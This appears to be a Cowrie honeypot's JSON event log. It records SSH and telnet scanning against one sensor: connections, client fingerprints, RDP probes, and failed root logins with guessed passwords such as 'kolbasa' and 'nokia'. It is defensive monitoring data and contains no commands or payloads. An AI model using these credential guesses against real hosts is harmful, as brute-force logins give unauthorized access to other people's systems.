{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:35:8d:bd:8c:cb:37:21:69:a6:2f:24:31:06:0f:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA14kKRmKMzuxOQvL3PGZcUUlDADQFoZIo1i9sQN/yKTxmVzPg3axUxCvNxoVD0saUozklC5qzVTT9C/HrN7J8L7KJsBWSoWrX1J8eQgapIYqa92zE+1ZkCkt84nrgkDuHBbO856i69rcdBBPY69pVNHdh1NCEpg7gLa3dsQU3MWuA125CPusqUJ75kJ689FzAAEVE4c4oGqoStCkoFyOWExECAm8RKL10m7uawroXsV9g3+SPhADnhwRnzKGw/A6bnTVkYjNEyPypYFOsXm4MVfHaCTBiSbY5SI8XOiLYpHoWuRbpt4ie7MUVFaWGFJ+47AMNrzHIFSjerUb7cQBPbw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.206919Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.240326Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":46626,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e4ce94b076c","protocol":"ssh","message":"New connection: 103.173.227.57:46626 (159.203.135.109:22) [session: 3e4ce94b076c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:11.333221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:11.338353Z","src_ip":"103.173.227.57","session":"3e4ce94b076c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:11.577379Z","src_ip":"103.173.227.57","session":"3e4ce94b076c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roma","message":"login attempt [root/roma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:12.299341Z","src_ip":"103.173.227.57","session":"3e4ce94b076c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:13.541412Z","src_ip":"103.173.227.57","session":"3e4ce94b076c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":50444,"dst_ip":"159.203.135.109","dst_port":22,"session":"75c17043b569","protocol":"ssh","message":"New connection: 109.172.54.111:50444 (159.203.135.109:22) [session: 75c17043b569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:29.480552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:29.485036Z","src_ip":"109.172.54.111","session":"75c17043b569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:29.583856Z","src_ip":"109.172.54.111","session":"75c17043b569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kolbasa","message":"login attempt [root/kolbasa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:29.885622Z","src_ip":"109.172.54.111","session":"75c17043b569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:30.991162Z","src_ip":"109.172.54.111","session":"75c17043b569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.97.162.28","src_port":50880,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c716917ec10","protocol":"telnet","message":"New connection: 138.97.162.28:50880 (10.17.0.5:23) [session: 1c716917ec10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:49:25.286194Z"}
{"eventid":"cowrie.session.closed","duration":14.098370552062988,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:49:39.384415Z","src_ip":"138.97.162.28","session":"1c716917ec10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54972,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b49f4b5fce","protocol":"telnet","message":"New connection: 152.42.224.71:54972 (10.17.0.5:23) [session: d6b49f4b5fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:49:52.073210Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:49:53.839878Z","src_ip":"46.19.67.181","session":"14d3111c84fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":33846,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd42d92dd023","protocol":"ssh","message":"New connection: 193.228.128.84:33846 (10.17.0.5:22) [session: fd42d92dd023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:49:56.485739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:49:56.494060Z","src_ip":"193.228.128.84","session":"fd42d92dd023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:49:56.597599Z","src_ip":"193.228.128.84","session":"fd42d92dd023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia","message":"login attempt [root/nokia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:49:56.905256Z","src_ip":"193.228.128.84","session":"fd42d92dd023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:49:58.010498Z","src_ip":"193.228.128.84","session":"fd42d92dd023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58638,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc8216ee6a67","protocol":"telnet","message":"New connection: 152.42.224.71:58638 (10.17.0.5:23) [session: bc8216ee6a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:50:36.277565Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40078,"dst_ip":"10.17.0.5","dst_port":22,"session":"07e2a2b7bf36","protocol":"ssh","message":"New connection: 194.113.233.25:40078 (10.17.0.5:22) [session: 07e2a2b7bf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:50:48.670672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:50:48.674693Z","src_ip":"194.113.233.25","session":"07e2a2b7bf36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:50:48.831792Z","src_ip":"194.113.233.25","session":"07e2a2b7bf36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111a","message":"login attempt [root/11111111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:50:49.264598Z","src_ip":"194.113.233.25","session":"07e2a2b7bf36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:50:50.429562Z","src_ip":"194.113.233.25","session":"07e2a2b7bf36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55976,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceaad9c744d2","protocol":"ssh","message":"New connection: 152.42.212.128:55976 (159.203.135.109:22) [session: ceaad9c744d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:51:12.128608Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:51:12.135750Z","src_ip":"152.42.212.128","session":"ceaad9c744d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:51:12.140374Z","src_ip":"152.42.212.128","session":"ceaad9c744d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.83361840248108,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:51:22.111085Z","src_ip":"152.42.224.71","session":"bc8216ee6a67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61957,"dst_ip":"10.17.0.5","dst_port":22,"session":"2247e605b988","protocol":"ssh","message":"New connection: 167.172.81.52:61957 (10.17.0.5:22) [session: 2247e605b988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:51:33.503361Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:51:33.508302Z","src_ip":"167.172.81.52","session":"2247e605b988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:51:33.511550Z","src_ip":"167.172.81.52","session":"2247e605b988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50268,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c22b56b9131","protocol":"telnet","message":"New connection: 152.42.224.71:50268 (10.17.0.5:23) [session: 9c22b56b9131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:51:49.917452Z"}
{"eventid":"cowrie.session.closed","duration":120.00314211845398,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:51:52.076252Z","src_ip":"152.42.224.71","session":"d6b49f4b5fce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53770,"dst_ip":"10.17.0.5","dst_port":22,"session":"073812358b2d","protocol":"ssh","message":"New connection: 103.153.68.219:53770 (10.17.0.5:22) [session: 073812358b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:10.949372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:10.954276Z","src_ip":"103.153.68.219","session":"073812358b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:11.205919Z","src_ip":"103.153.68.219","session":"073812358b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zk.","message":"login attempt [root/zk.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:11.959246Z","src_ip":"103.153.68.219","session":"073812358b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:13.214639Z","src_ip":"103.153.68.219","session":"073812358b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40352,"dst_ip":"10.17.0.5","dst_port":22,"session":"06abdc7df9dc","protocol":"ssh","message":"New connection: 103.195.236.96:40352 (10.17.0.5:22) [session: 06abdc7df9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:24.008304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:24.015343Z","src_ip":"103.195.236.96","session":"06abdc7df9dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:24.252740Z","src_ip":"103.195.236.96","session":"06abdc7df9dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1995","message":"login attempt [root/1995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:24.965038Z","src_ip":"103.195.236.96","session":"06abdc7df9dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:26.204279Z","src_ip":"103.195.236.96","session":"06abdc7df9dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.559664726257324,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:52:39.477016Z","src_ip":"152.42.224.71","session":"9c22b56b9131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59400,"dst_ip":"10.17.0.5","dst_port":23,"session":"14ecd183a12e","protocol":"telnet","message":"New connection: 152.42.224.71:59400 (10.17.0.5:23) [session: 14ecd183a12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:53:01.008207Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38750,"dst_ip":"10.17.0.5","dst_port":23,"session":"79ccaec4dece","protocol":"telnet","message":"New connection: 152.42.224.71:38750 (10.17.0.5:23) [session: 79ccaec4dece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:53:46.692911Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38762,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f1381fb4016","protocol":"telnet","message":"New connection: 152.42.224.71:38762 (10.17.0.5:23) [session: 8f1381fb4016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:53:53.359751Z"}
{"eventid":"cowrie.session.closed","duration":41.958338260650635,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:54:28.651159Z","src_ip":"152.42.224.71","session":"79ccaec4dece","protocol":"telnet"}
